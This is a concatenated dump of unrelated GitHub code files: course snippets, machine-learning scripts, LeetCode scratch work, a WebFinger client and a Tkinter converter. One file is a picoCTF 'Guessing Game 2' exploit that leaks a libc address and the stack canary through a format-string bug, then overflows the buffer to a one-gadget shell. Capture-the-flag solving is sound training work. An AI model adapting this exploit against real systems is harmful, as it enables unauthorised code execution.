'return_result'\n\n#动态回调\nparams = []\nresult = eval('originClosure')('formal_parameter')\nprint(result)\n\nexit()\n\n#Class\nclass DemoClass:\n \"类名字注释\"\n __prop_project = '默认项目'\n def __private_echo(self, params):\n print(params)\n\n def echo(self, params):\n self.__private_echo(params)\ndemo = DemoClass()\ndemo.echo('newobject')","repo_name":"xuezhouyang/pycourse","sub_path":"basic/mate.py","file_name":"mate.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8809660199","text":"import logging\nfrom typing import List, Any\nfrom abc import ABC, abstractmethod\n\n\nfrom qiskit.providers.ibmq import accountprovider # pylint: disable=unused-import\nfrom ..api.clients.random import RandomClient\n\nlogger = logging.getLogger(__name__)\n\n\nclass BaseRandomService(ABC):\n \"\"\"Base class for random number services.\"\"\"\n\n def __init__(\n self,\n name: str,\n provider: 'accountprovider.AccountProvider',\n client: RandomClient,\n methods: List\n ):\n \"\"\"BaseRandomService constructor.\n\n Args:\n name: Name of the extractor.\n provider: IBM Quantum Experience account provider.\n client: Client used to communicate with the server.\n methods: Service methods.\n \"\"\"\n self.name = name\n self._provider = provider\n self._client = client\n self.methods = methods\n\n @abstractmethod\n def run(self, *args: Any, **kwargs: Any) -> Any:\n \"\"\"Execute the service.\"\"\"\n pass\n","repo_name":"OscarJHernandez/qc_portfolio_optimization","sub_path":"venv/lib/python3.8/site-packages/qiskit/providers/ibmq/random/baserandomservice.py","file_name":"baserandomservice.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"70382270276","text":"from __future__ import print_function\nimport cv2\nimport glob\nimport numpy as np\nimport math\nfrom time import time\nimport sys, os\nimport logging\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.decomposition import PCA\nfrom utilities import processArguments\nparams = {\n'method': 0,\n}\n\n\nprint(__doc__)\n\n# Display progress logs on stdout\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')\n\nprocessArguments(sys.argv[1:], params)\nmethod = params['method']\nif method == 0:\n print('Using scikit-learn API for transformation')\nelif method == 1:\n print('Using matrix operations for transformation')\n# #############################################################################\n# Download the data, if not already on disk and load it as numpy arrays\n\nX_data = []\n\nfiles = glob.glob (\"/home/nehla/scikit_learn_data/lfw_home/lfw_funneled/George_Clooney/*.jpg\")\nfor myFile in files:\n #print(myFile)\n image = cv2.imread (myFile).flatten()\n X_data.append (image)\n\n#print('X_data shape:', np.array(X_data).shape)\nn_samples, n_features=np.array(X_data).shape\nprint(\"Total dataset size:\")\nprint(\"n_samples: %d\" % n_samples)\nprint(\"n_features: %d\" %n_features)\n#print(\"n_classes: %d\" % n_classes)\n\n# #############################################################################\n# Compute a PCA (eigenfaces) on the face dataset (treated as unlabeled\n# dataset): unsupervised feature extraction / dimensionality reduction\nn_components = 150\n\nprint(\"Extracting the top %d eigenfaces from %d faces\"\n % (n_components, n_samples))\nt0 = time()\npca = PCA(n_components=n_components, svd_solver='auto',\n whiten=True).fit(X_data)\nprint(\"done in %0.3fs\" % (time() - t0))\n\nprint (\"Principal axes in feature space, representing the directions of maximum variance in the data \")\n#eigenfaces = pca.components_.reshape((n_components, h, w))\n\nprint (\"Saving PCA components into file... \")\nnp.savetxt('pca-components.txt', np.array(pca.components_ ), fmt='%f')\n# #############################################################################\n# Compute the construction error\nX_test= []\n#myFile='/home/nehla/scikit_learn_data/lfw_home/lfw_funneled/Aaron_Eckhart/Aaron_Eckhart_0001.jpg'\nmyFile='/home/nehla/scikit_learn_data/lfw_home/lfw_funneled/George_Clooney/George_Clooney_0002.jpg'\nimage = cv2.imread (myFile).flatten()\nX_test.append (image)\nn_samples_test, n_features_test=np.array(X_test).shape\nprint('X_test shape:', np.array(X_test).shape)\n\nprint('components_ shape:', np.array(pca.components_ ).shape)\n\nprint(\"Projecting the test data on the eigenfaces orthonormal basis\")\n\nif method == 0:\n X_test_pca = pca.transform(X_test)\nelse :\n X_test_pca=np.dot(X_test,np.transpose(pca.components_)) ## second implementation\n\nprint(' transformed test data shape:', np.array(X_test_pca).shape)\n\nprint(\"Transform test data back to its original space\")\n\nif method == 0:\n X_test_reprojected= pca.inverse_transform(X_test_pca )\nelse :\n X_test_reprojected=np.dot(X_test_pca, pca.components_) ## second implementation\n\n# error = L2_norm(T - T'')\nl2_norm_error=np.linalg.norm (np.array(X_test)-X_test_reprojected)\nprint(\"l2_norm_error : %f\" %l2_norm_error)\n","repo_name":"NehlaG/FenceAnalysis","sub_path":"pca_training_test.py","file_name":"pca_training_test.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23606709971","text":"import sys\nimport unittest\n\ndef solve(r, k, n, gs):\n amount = 0\n if n == 1:\n return r * gs[0]\n if k >= sum(gs):\n return r * sum(gs)\n for i in range(r):\n people = 0\n for j in range(n):\n people += gs[j]\n if people > k:\n amount += sum(gs[:j])\n gs = gs[j:] + gs[:j]\n break\n return amount\n\n\nclass SnapperTest(unittest.TestCase):\n def test_solve(self):\n self.assertEquals(21, solve(4, 6, 4, [1, 4, 2, 1]))\n self.assertEquals(100, solve(100, 10, 1, [1]))\n self.assertEquals(20, solve(5, 5, 10, [2, 4, 2, 3, 4, 2, 1, 2, 1, 3]))\n self.assertEquals(13, solve(3, 5, 2, [5, 3]))\n self.assertEquals(18, solve(3, 6, 2, [5, 1]))\n self.assertEquals(50000, solve(1000, 100, 10, [4, 3, 9, 1, 2, 5, 6, 9, 1, 10 ]))\n\ndef main(argv):\n if len(argv) == 0: return\n f = open(argv[0], 'r')\n lines = list(f)\n t = int(lines[0])\n for i in range(t):\n r, k, n = (int(x) for x in lines[i * 2 + 1].split(' '))\n gs = [int(x) for x in lines[i * 2 + 2].split(' ')]\n print(\"Case #%d: %d\" % (i + 1, solve(r, k, n, gs))) \n f.close()\n\nif __name__ == '__main__':\n if sys.argv[1] == 'test':\n unittest.main(argv=('', '-v'))\n else:\n main(sys.argv[1:])\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_55/864.py","file_name":"864.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32691620071","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*\n\nfrom pwn import *\nfrom sys import argv\nfrom time import sleep\n\n\ncontext.terminal = ['tmux', 'sp', '-h']\ncontext.log_level = \"debug\"\n\nchall = \"./vuln\"\nlibc = ELF(\"./libc_2.27-3ubuntu1.6_amd64.so\")\nelf = ELF(chall)\ncontext.binary = chall\ncontext.binary.checksec()\n\nif len(argv) >= 2 and argv[1] == \"r\":\n p = remote(\"jupiter.challenges.picoctf.org\", 13775)\nelif len(argv) >= 2 and argv[1] == \"d\":\n\tcmd = \"\"\"\n b *win+96\n\t\tc\n\t\"\"\"\n\tp = gdb.debug(chall,cmd)\nelse:\n p = process(chall)\n\ndef guess_num():\n for guess in range(1, -4095, -16):\n p.sendlineafter(\"guess?\", str(guess))\n p.recvline()\n if b\"Congrats!\" in p.recvline():\n log.info(\"hyper_guessed_number: \" + guess)\n break\n\ndef set_name(name):\n p.sendlineafter(\"guess?\", str(guess))\n p.sendlineafter(\"Name?\", name)\n\ndef leak_address(addr):\n payload = p32(addr)\n payload += b\"%7$s\"\n set_name(payload)\n p.recvuntil(\"Congrats: \")\n p.recv(4)\n return u32(p.recv(4))\n\nguess = -3727\n\nputs_got_addr = leak_address(elf.got[\"puts\"])\nlog.info(\"puts@got: \" + hex(puts_got_addr))\nlibc_base = puts_got_addr - libc.symbols[\"puts\"]\nlog.info(\"libc base: \" + hex(libc_base))\none_gadget_addr = libc_base + 0x6749f\nlog.info(\"OneGadget@libc: \" + hex(one_gadget_addr))\n\npayload = b\"%135$p\"\nset_name(payload)\np.recvuntil(\"Congrats: \")\ncanary = eval(p.recv(10))\nlog.info(\"canary: \" + hex(canary))\n\npayload = b'A' * 0x200\npayload += p32(canary)\npayload += b'B' * 4 * 3\npayload += p32(one_gadget_addr)\nset_name(payload)\n\np.interactive()\n","repo_name":"t3mp-0xCC/write-up","sub_path":"picogym/Guessing_Game_2/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21986318467","text":"from typing import List\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def longestCommonSubsequence(self, text1: str, text2: str) -> int:\n n1 = len(text1)\n n2 = len(text2)\n if n1 == 0 or n2 == 0:\n return 0\n dp = [[0 for _ in range(n2+1)] for _ in range(n1+1)]\n p2 = 0\n for i in range(1, n1+1):\n p1 = 0\n for j in range(1, n2+1):\n if text2[j-1] not in text1[p1:i]:\n dp[i][j] = dp[p1][j]\n else:\n dp[i][j] = dp[p1][j] + 1\n p1 = text1[p1:i].index(text2[j-1]) + p1 + 1\n print(text1[:i], text2[:j], dp[i][j], p1)\n return dp[-1][-1]\n\n\n def findSecondMinimumValue(self, root: TreeNode) -> int:\n res = -1\n choices = [root]\n small = root.val\n while choices:\n n = len(choices)\n for i in range(n):\n ch = choices.pop(0)\n if ch.val > small:\n res = min(ch.val, res) if res != -1 else ch.val\n if ch.left is not None:\n choices.append(ch.left)\n choices.append(ch.right)\n return res\n\n # def findFirstGt(node, small):\n # if node.left is None:\n # return -1\n # if node.left.val > \n\n # choices = [node]\n # while choices:\n # n = len(choices)\n # for i in range(n):\n # ch = choices.pop(0)\n # if ch.val > small:\n # return ch.val\n # else:\n # if ch.left is not None:\n # choices.append(ch.left)\n # if ch.right is not None:\n # choices.append(ch.right)\n # return -1\n\n # if root.left is None:\n # return -1\n # v = root.val\n # res = -1\n # val_l = findFirstGt(root.left, v)\n # if val_l != -1:\n # res = val_l\n # val_r = findFirstGt(root.right, v)\n # if val_r != -1:\n # res = val_r if res == -1 else min(val_r, res)\n # return res\n\n def maxFrequency(self, nums: List[int], k: int) -> int:\n if len(nums) == 1:\n return 1\n nums.sort()\n sums = [0 for _ in range(len(nums) + 1)]\n sums[0] = nums[0]\n for i in range(1, len(nums)):\n sums[i] = sums[i-1] + nums[i]\n print(sums)\n l = 0\n r = 1\n tmp_res = 1\n while True:\n print(l, r)\n diff = 0\n diff = sums[r] - sums[l-1]\n need_k = (r - l + 1) * nums[r] - diff\n print(need_k)\n if need_k <= k:\n tmp_res = max(tmp_res, r - l + 1)\n r += 1\n else:\n l += 1\n r = max(l, r+1)\n if r > len(nums) - 1:\n break\n\n return tmp_res\n\n def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> ListNode:\n if headA is None or headB is None:\n return None\n if headA == headB:\n return headA\n p1 = headA\n p2 = headB\n change = False\n while True:\n if change and p1.next is None and p2.next is None:\n return None\n p1 = p1.next\n if p1 is None:\n change = True\n p1 = headB\n\n p2 = p2.next\n if p2 is None:\n change = True\n p2 = headA\n if p1 == p2:\n return p1\n\n def minOperations(self, target: List[int], arr: List[int]) -> int:\n if len(target) == 0:\n return 0\n length = len(arr)\n indexes = []\n val = target[0]\n if val in arr:\n indexes.append(arr.index(val))\n else:\n indexes.append(0)\n arr.insert(0, val)\n print(arr)\n for i in range(1, len(target)):\n if target[i] in arr[indexes[-1]+1:]:\n indexes.append(indexes[-1]+1 + arr[indexes[-1]+1:].index(target[i]))\n else:\n indexes.append(indexes[-1]+1)\n arr.insert(indexes[-1]+1, target[i])\n print(arr, indexes)\n return len(arr) - length\n\n def iou(rect, rects):\n ious = []\n x1, y1, x2, y2 = rect\n area_rect = (x2-x1) * (y2-y1)\n for r in rects:\n l = max(x1, r[0])\n u = max(y1, r[1])\n r = min(x2, r[2])\n d = min(y2, r[3])\n area = (r-l) * (d-u)\n if area < 0:\n area = 0\n ious.append(0)\n ious.append(area / (area_rect + (r[2]-r[0])*(r[3]-r[1])) - area)\n return np.array(ious)\n\n def nms(rects, confs, th):\n rects_new = []\n rects_del = []\n n = len(rects)\n while len(rects)>0:\n ind = np.argmax(confs)\n rect_max = rects.pop(ind)\n confs.pop(ind)\n\n rects_new.append(rect_max)\n ious = get_iou(rect_max, rects)\n rects = rects[ious 1:\n vals = vals[:1] + vals[1] + vals[2]\n print('2', vals)\n def recover(nums):\n if len(nums) == 1:\n return nums\n else:\n return nums[:1] + recover(nums[1]) + recover(nums[2])\n vals = recover(vals)\n\n return vals\n\n def countBits(self, n: int) -> List[int]:\n if n == 0:\n return [0]\n if n == 1:\n return [0, 1]\n res = n\n deg = 0\n while res > 0:\n res = res >> 1\n deg += 1\n ans = [0, 1]\n for i in range(2, deg):\n ans.extend([a+1 for a in ans])\n res = n - 2**(deg-1) + 1\n ans.extend([a+1 for a in ans[:res]])\n return ans\n\n def movingCount(self, m: int, n: int, k: int) -> int:\n pass\n\n def maxMatch(m, n, matched):\n p = [-1 for _ in range(n)] # choice of n\n vis = [0 for _ in range(n)] # occupied of n\n def is_match(i):\n pass\n pass\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n nums = [1, 2, 4]\n target = [16,7,20,11,15,13,10,14,6,8]\n arr = [11,14,15,7,5,5,6,10,11,6]\n\n k = 5\n # res = sol.maxFrequency(nums, k)\n # res = sol.minOperations(target, arr)\n # res = sol.longestCommonSubsequence(\"abs\", 'sadh')\n pre = [1,2,4,5,3,6,7]\n post = [4,5,2,6,7,3,1]\n # res = sol.constructFromPrePost(pre, post)\n res = sol.countBits(5)\n print(res)\n\n\ndef fun():\n df = df.applymap(lambda x: x.decode(\"utf-8\", errors=\"ignore\")\n if isinstance(x, bytes) else x)\n if bd_status == 'A':\n df = df[df[status_name[dev_type]] == 'A,']\n elif bd_status == 'V':\n df = df[df[status_name[dev_type]] != 'A,']\n\n df = df.sort_values(['collectionDate'], ascending=False)\n data_gps = df.apply(lambda x:max(x) / 2, axis=1)\n","repo_name":"ZhH-17/tests","sub_path":"test_code.py","file_name":"test_code.py","file_ext":"py","file_size_in_byte":9081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15048708878","text":"from ClaseEmail import Email\nimport csv\n\ndef test():\n archivo = open('correosTest.csv')\n reader = csv.reader(archivo,delimiter=',')\n\n for fila in reader:\n print('Test con correo: {}'.format(fila[0]))\n correo = Email()\n correo.crearCuenta(fila[0])\n archivo.close()\n \nif __name__ == '__main__':\n #Ejecucion de funcion test\n op = input('Desea ejecutar la funcion test [S/N]: ')\n if(op.lower() == 's'):\n test()\n print('Punto 1')\n #Solicito nombre\n nombre = input('Ingrese nombre: ')\n\n miCorreo = Email()\n correo = input('Ingrese su correo: ')\n error = miCorreo.crearCuenta(correo)\n while(error):\n correo = input('Ingrese su correo: ')\n error = miCorreo.crearCuenta(correo) \n\n print('Estimado {} te enviaremos tus mensajes a la dirección {}'.format(nombre,miCorreo.retornaEmail()))\n\n \n print('Modificar contraseña')\n miCorreo.changePass()\n\n print('Crear cuenta')\n nuevoCorreo = Email()\n nuevoCorreo.crearCuenta('informatica.fcefn@gmail.com')\n\n print('Comprobar cuenta duplicada')\n archivo = open('correos.csv')\n reader = csv.reader(archivo,delimiter=',')\n\n dominio = input('Ingrese un dominio: ')\n cont = 0 #contador de dominios\n bandera = True\n for fila in reader:\n if bandera: #Salto el encabezado del archivo csv\n bandera = False\n else:\n correo = Email()\n correo.crearCuenta(fila[0],fila[1])\n miDominio = correo.getDominio()\n if dominio == miDominio:\n cont += 1\n archivo.close()\n\n print('Dominio {} esta repetido {} veces'.format(cont,dominio))\n \n \n\n \n","repo_name":"Arty4267/2022","sub_path":"Ejercicio 1 2022/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13059806329","text":"import urllib, urllib2\nfrom xml.etree import ElementTree\n\nclass WebFingerResult:\n\tdef __init__(self, ssl, api, auth, template):\n\t\tself.ssl = ssl\n\t\tself.api = api\n\t\tself.auth = auth\n\t\tself.template = template\n\t\tif self.api == 'simple':\n\t\t\tself.type = 'https://www.w3.org/community/unhosted/wiki/remotestorage-2011.10#simple'\n\t\telif self.api == 'WebDAV':\n\t\t\tself.type = 'https://www.w3.org/community/unhosted/wiki/remotestorage-2011.10#webdav'\n\t\telif self.api == 'CouchDB':\n\t\t\tself.type = 'https://www.w3.org/community/unhosted/wiki/remotestorage-2011.10#couchdb'\n\t\telse:\n\t\t\traise WebFingerException('api not recognized')\n\t\tself.properties = {\n\t\t\t'access-methods': ['http://oauth.net/core/1.0/parameters/auth-header'],\n\t\t\t'auth-methods': ['http://oauth.net/discovery/1.0/consumer-identity/static'],\n\t\t\t'http://oauth.net/core/1.0/endpoint/request': self.auth\n\t\t}\n\n\t\ttemplate_parts = self.template.split('{category}')\n\t\tif template_parts[0][-1:] == '/':\n\t\t\tself.href = template_parts[0][:-1]\n\t\telse:\n\t\t\tself.href = template_parts[0]\n\n\t\tif len(template_parts) == 2 and template_parts[1] != '/':\n\t\t\tself.properties['legacy_suffix'] = template_parts[1]\n\nclass WebFingerException(Exception):\n\tpass\n\nclass WebFinger:\n\tdef __init__(self, identifier):\n\t\tif identifier[:5]=='acct:':\n\t\t\tidentifier = identifier[5:]\n\n\t\tself.user = identifier[:identifier.find('@')]\n\t\tself.host = identifier[identifier.find('@')+1:]\n\t\t\n\t\tself.opener = urllib2.build_opener(urllib2.HTTPRedirectHandler())\n\t\tself.opener.addheaders = [('User-agent', 'python-webfinger')]\n\n\tdef host_meta(self, protocol):\n\t\thostmeta_url = \"%s://%s/.well-known/host-meta\"%(protocol,self.host)\n\t\tconnection = self.opener.open(hostmeta_url)\n\t\tresponse = connection.read()\n\t\tconnection.close()\n\t\treturn response\n\n\tdef get_template(self, host_meta):\n\t\ttree = ElementTree.fromstring(host_meta)\n\t\tfor link in tree.findall('{http://docs.oasis-open.org/ns/xri/xrd-1.0}Link'):\n\t\t\ttemplate = link.attrib.get('template')\n\t\t\tif template:\n\t\t\t\treturn template\n\n\tdef get_data(self, template):\n\t\tdata_url = template.replace('{uri}', '%s')%(\"acct:%s@%s\"%(self.user, self.host))\n\t\tconnection = self.opener.open(data_url)\n\t\tresponse = connection.read()\n\t\tconnection.close()\n\n\t\ttree = ElementTree.fromstring(response)\n\t\tfor link in tree.findall('{http://docs.oasis-open.org/ns/xri/xrd-1.0}Link'):\n\t\t\trel = link.attrib.get('rel')\n\t\t\tif rel=='remoteStorage':\n\t\t\t\treturn {'template': link.attrib.get('template'), 'api': link.attrib.get('api'), 'auth': link.attrib.get('auth')}\n\n\n\tdef finger(self):\n\t\ttry:\n\t\t\thost_meta = self.host_meta('https')\n\t\t\tself.ssl = True\n\t\texcept (urllib2.HTTPError, urllib2.URLError):\n\t\t\thost_meta = self.host_meta('http')\n\t\t\tself.ssl = False\n\n\t\ttemplate = self.get_template(host_meta)\n\t\tdata = self.get_data(template)\n\n\t\treturn WebFingerResult(ssl=self.ssl, api=data['api'], auth=data['auth'], template=data['template'])","repo_name":"lukasklein/remoteStorage.py","sub_path":"webfinger.py","file_name":"webfinger.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"11216747450","text":"\n\n\n\n\nclass Solution:\n def numDecodings(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n # dp, 6 star, 还没理解,需重看, 几个情况的分类讨论需要注意\n # 分类讨论, dp[i]表示前i个字符的最多解码方式\n if s == \"\" or s[0] == \"0\":\n return 0\n n = len(s)\n dp = [0] * (n+1)\n dp[:2] = [1, 1]\n for i in range(2, n+1):\n before = int(s[i-2:i])\n if 26 >= before > 10 and before != 20: # 大于10小于26且不等于20的,有两种情况,一种是dp[i-1] 一种是dp[i-2]\n dp[i] = dp[i-1] + dp[i-2]\n elif before in (10, 20): # 10 和 20 只能有一种解码方式,所以等于 dp[i-2]\n dp[i] = dp[i-2]\n elif 9 >= int(s[i-1]) >= 1: # 这种是大于26且各位上不是0的 等于 dp[i-1]\n dp[i] = dp[i-1]\n # 剩余的就是大于26且个位是0的了,例如 40 50,这种根本无法解码,所以dp[i]=0\n return dp[-1]\n\n# print(Solution().numDecodings(\"100\"))\n","repo_name":"goalong/lc","sub_path":"v2/91.py","file_name":"91.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"zh","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"35449889455","text":"# -*- coding: utf-8 -*-\nfrom torch.utils.data.dataset import Dataset\nimport torch\nfrom cnn_model import CnnModel\nfrom my_dataset import NkDataSet\nfrom my_dataset_2 import NkDataSet_2\nfrom tensorboardX import SummaryWriter\nimport set_variable\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0)\n res.append(correct_k.mul_(100.0 / batch_size))\n\n return res\nclass AverageMeter(object):\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n = 1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\ndef train(my_dataset_loader,model,criterion,optimizer,epoch,writer):\n\n model.train()\n\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n\n\n for i, data in enumerate(my_dataset_loader, 0):\n # Forward pass: Compute predicted y by passing x to the model\n\n # fc 구조 이기 때문에 일렬로 쫙피는 작업이 필요하다.\n images, label = data\n\n images = torch.autograd.Variable(images)\n label = torch.autograd.Variable(label)\n\n # 그냥 images 를 하면 에러가 난다. 데이터 shape 이 일치하지 않아서\n y_pred = model(images)\n\n # Compute and print loss\n loss = criterion(y_pred, label)\n\n #print(epoch, loss.item())\n\n # Zero gradients, perform a backward pass, and update the weights.\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n output = y_pred.float()\n loss = loss.float()\n\n prec1 = accuracy(output.data, label)[0]\n\n prec_2 = accuracy(output.data, label)\n\n #print(\"prec1\", (prec1))\n #print(\"item prec1\", prec1.item())\n #print(\"prec2\", (prec_2))\n\n #print('loss.item', loss)\n #print('real loss item', loss.item())\n\n losses.update(loss.item(), images.size(0))\n top1.update(prec1.item(), images.size(0))\n\n writer.add_scalar('Train/loss', losses.avg, epoch)\n writer.add_scalar('Train/accuaracy', top1.avg, epoch)\n\n\ndef test(my_dataset_2_loader, model, criterion, epoch, test_writer):\n losses = AverageMeter()\n top1 = AverageMeter()\n model.eval()\n for i, data in enumerate(my_dataset_2_loader, 0):\n # Forward pass: Compute predicted y by passing x to the model\n\n # fc 구조 이기 때문에 일렬로 쫙피는 작업이 필요하다.\n images, label = data\n\n # 그냥 images 를 하면 에러가 난다. 데이터 shape 이 일치하지 않아서\n y_pred = model(images)\n\n # Compute and print loss\n loss = criterion(y_pred, label)\n\n output = y_pred.float()\n loss = loss.float()\n\n prec1 = accuracy(output.data, label)[0]\n\n # print(\"prec1\", (prec1))\n # print(\"prec2\", (prec_2))\n\n # print('loss.item', loss)\n # print('real loss item ', loss.item())\n\n losses.update(loss.item(), images.size(0))\n top1.update(prec1.item(), images.size(0))\n print('*, epoch : {epoch:.2f} Prec@1 {top1.avg:.3f}'.format(epoch=epoch,top1=top1))\n\n\n test_writer.add_scalar('Test/loss', losses.avg, epoch)\n test_writer.add_scalar('Test/accuaracy', top1.avg, epoch)\n\ncsv_path = './file/hero.csv'\ncsv_path_2 = './file/hero_2.csv'\n\ncustom_dataset = NkDataSet(csv_path)\ncustom_dataset_2 = NkDataSet_2(csv_path_2)\n\nmy_dataset_loader = torch.utils.data.DataLoader(dataset=custom_dataset, batch_size=set_variable.batch_size,\n shuffle=True, num_workers=1)\nmy_dataset_2_loader = torch.utils.data.DataLoader(dataset=custom_dataset_2, batch_size=set_variable.batch_size,\n shuffle=False, num_workers=1)\n# test data set 만들어 줘야 한다.\n# Model Load\n#input , hiddn, output size\n\nmodel = CnnModel()\n\n#CrossEntropyLoss 를 사용\ncriterion = torch.nn.CrossEntropyLoss(reduction=\"sum\")\noptimizer = torch.optim.SGD(model.parameters(), lr=1e-4)\n\nwriter = SummaryWriter('./log')\ntest_writer = SummaryWriter('./log/test')\nfor epoch in range(500):\n\n\n train(my_dataset_loader, model, criterion, optimizer, epoch, writer)\n test(my_dataset_2_loader, model, criterion, epoch, test_writer)\n\n# 의미없음 중복이기 때문에\n\"\"\"class AverageMeter(object):\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n = 1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\"\"\"","repo_name":"SeoMinhyeok/AI_Project","sub_path":"AI_1.py","file_name":"AI_1.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24790845287","text":"from tkinter import *\r\nfrom functools import partial # To prevent unwanted windows\r\n\r\nimport random\r\n\r\n\r\nclass Converter:\r\n def __init__(self):\r\n\r\n # Formatting variables...\r\n background_color = \"light blue\"\r\n\r\n # Initialise list to hold calculation history\r\n self.all_calc_list = []\r\n\r\n # Converter Frame\r\n self.converter_frame = Frame(bg=background_color, pady=10)\r\n self.converter_frame.grid()\r\n\r\n # Temperature Conversion Heading (row 0)\r\n self.temp_converter_label = Label(self.converter_frame,\r\n text=\"Temperature Converter\",\r\n font=\"arial 20 bold\",\r\n fg=\"Black\", bg=background_color,\r\n padx=30, pady=20)\r\n\r\n self.temp_converter_label.grid(row=0)\r\n\r\n # User instructions (row 1)\r\n self.temp_instructions_label = Label(self.converter_frame,\r\n text=\"Type in the amount to be \\n\"\r\n \"converted and then push \\n\"\r\n \"one of the buttons below.\\n\",\r\n font=\"arial 15 italic\", wrap=250,bg=background_color,\r\n fg=\"Black\",justify=LEFT)\r\n self.temp_instructions_label.grid(row=1)\r\n\r\n # temperture entry box (row2)\r\n self.to_convert_entry = Entry(self.converter_frame,width=30,\r\n font= (\"arial 15 bold\"))\r\n self.to_convert_entry.grid(row=2)\r\n\r\n # conversion buttons frame (row 3) ,red | yellow\r\n self.converter_buttons_frame = Frame(self.converter_frame)\r\n self.converter_buttons_frame.grid(row=3, pady=30)\r\n\r\n self.to_c_button = Button(self.converter_buttons_frame,\r\n text = \" To Centigrade \",\r\n font = \" arial 10 bold \",\r\n bg=\"red\", fg=\"black\",\r\n padx = 10, pady = 10,\r\n command=lambda: self.temp_convert(-459))\r\n self.to_c_button.grid(row=0, column=0)\r\n\r\n self.to_f_button = Button(self.converter_buttons_frame,\r\n text=\"To Fahreneit\", font=\"Arial 10 bold\",\r\n bg=\"yellow\", fg=\"black\", padx=10, pady=10,\r\n command=lambda: self.temp_convert(-273))\r\n self.to_f_button.grid(row=0, column=1)\r\n\r\n # Answer label (row 4)\r\n\r\n self.converted_label = Label (self.converter_frame,\r\n text=\"Answer\", font=\"Arial 10 bold\",\r\n bg=background_color, padx=10, pady=10)\r\n self.converted_label.grid(row=4)\r\n\r\n # history / Help button frame (row 5)\r\n self.history_buttons_frame = Frame(self.converter_frame)\r\n self.history_buttons_frame.grid(rows=5, pady=10, padx=10)\r\n\r\n # history button\r\n self.history_buttons = Button(self.history_buttons_frame,\r\n text=\"history\", font=\"Arial 10 bold\",\r\n command=lambda: self.history(self.all_calc_list),\r\n bg=\"gray\",fg=\"#F7FBFD\", padx=10, pady=10)\r\n self.history_buttons.grid(row=0, column=0)\r\n\r\n if len(self.all_calc_list) == 0:\r\n self.history_buttons.config(state=DISABLED)\r\n\r\n # Help Button\r\n self.help_button = Button(self.history_buttons_frame,\r\n text=\"help\",font=\"arial 10 bold\",bg=\"gray\",\r\n fg=\"#F7FBFD\",padx=10, pady=10, command=self.help)\r\n self.help_button.grid(row=0, column=1)\r\n\r\n def help(self):\r\n get_help = Help(self)\r\n get_help.help_text.configure(text=\"please enter a number in the box \"\r\n \"and then push one of the buttons \"\r\n \"degreees C or degrees F. \\n\\n\"\r\n \"The Claculation History area shows \"\r\n \"up to seven past calculations \"\r\n \"(most recent at the top). \\n\\nYou can \"\r\n \"also export your full calculation \"\r\n \"history to a text file if desired.\")\r\n\r\n def temp_convert(self, low):\r\n print(low)\r\n\r\n error = \"#ffafaf\" # pale pink when a error\r\n\r\n # Retrieve amount entered into Entry field\r\n to_convert = self.to_convert_entry.get()\r\n\r\n try:\r\n to_convert = float(to_convert)\r\n has_error = \"no\"\r\n\r\n # convert to F\r\n if low == -273 and to_convert >= low:\r\n fahrenheit = (to_convert * 9/5) + 32\r\n to_convert = self.round_it(to_convert)\r\n fahrenheit = self.round_it(fahrenheit)\r\n answer = \"{} degrees C equals {} degree F\".format(to_convert, fahrenheit)\r\n\r\n # convert to C\r\n elif low == -459 and to_convert >= low:\r\n celsius = (to_convert - 32) * 